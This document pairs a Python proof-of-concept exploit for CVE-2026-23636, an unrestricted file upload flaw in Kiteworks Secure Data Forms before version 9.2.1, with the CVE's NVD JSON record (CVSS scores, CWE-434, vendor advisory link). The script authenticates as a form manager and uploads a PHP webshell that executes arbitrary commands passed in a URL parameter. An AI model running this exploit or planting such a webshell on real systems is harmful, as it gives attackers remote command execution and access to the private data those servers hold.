CVE-2026-23636

import requests # Target configuration target_url = "https://target-kiteworks.com/api/forms/upload" login_url = "https://target-kiteworks.com/api/login" # Manager credentials (High Privilege Required) credentials = { "username": "manager_user", "password": "password123" } def exploit(): session = requests.Session() # Step 1: Authenticate as manager print("[*] Attempting to login as manager...") auth_resp = session.post(login_url, json=credentials) if auth_resp.status_code != 200: print("[-] Login failed.") return print("[+] Login successful.") # Step 2: Prepare malicious file upload # Uploading a PHP webshell as a dangerous file type files = { 'file': ('evil.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php') } data = { 'formId': 'target_form_id' } # Step 3: Send payload print("[*] Uploading malicious file...") upload_resp = session.post(target_url, files=files, data=data) if upload_resp.status_code == 200: print("[+] File uploaded successfully. Check response for location.") print(upload_resp.text) else: print("[-] Upload failed.") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-23636", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:35.660", "lastModified": "2026-03-27T19:13:44.067", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Kiteworks is a private data network (PDN). In Kiteworks Secure Data Forms prior to version 9.2.1, the manager of a form could potentially exploit an Unrestricted Upload of File with Dangerous Type due to a missing validation. Upgrade Kiteworks to version 9.2.1 or later to receive a patch."}, {"lang": "es", "value": "Kiteworks es una red de datos privada (PDN). En Kiteworks Secure Data Forms anteriores a la versión 9.2.1, el gestor de un formulario podría potencialmente explotar una carga de archivo sin restricciones de tipo peligroso debido a una validación faltante. Actualice Kiteworks a la versión 9.2.1 o posterior para recibir un parche."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:L", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:accellion:kiteworks:*:*:*:*:*:*:*:*", "versionEndExcluding": "9.2.1", "matchCriteriaId": "30A78D6E-2376-4B2C-B4AD-499D1DF88E34"}]}]}], "references": [{"url": "https://github.com/kiteworks/security-advisories/security/advisories/GHSA-cfv8-p3hq-8wmm", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}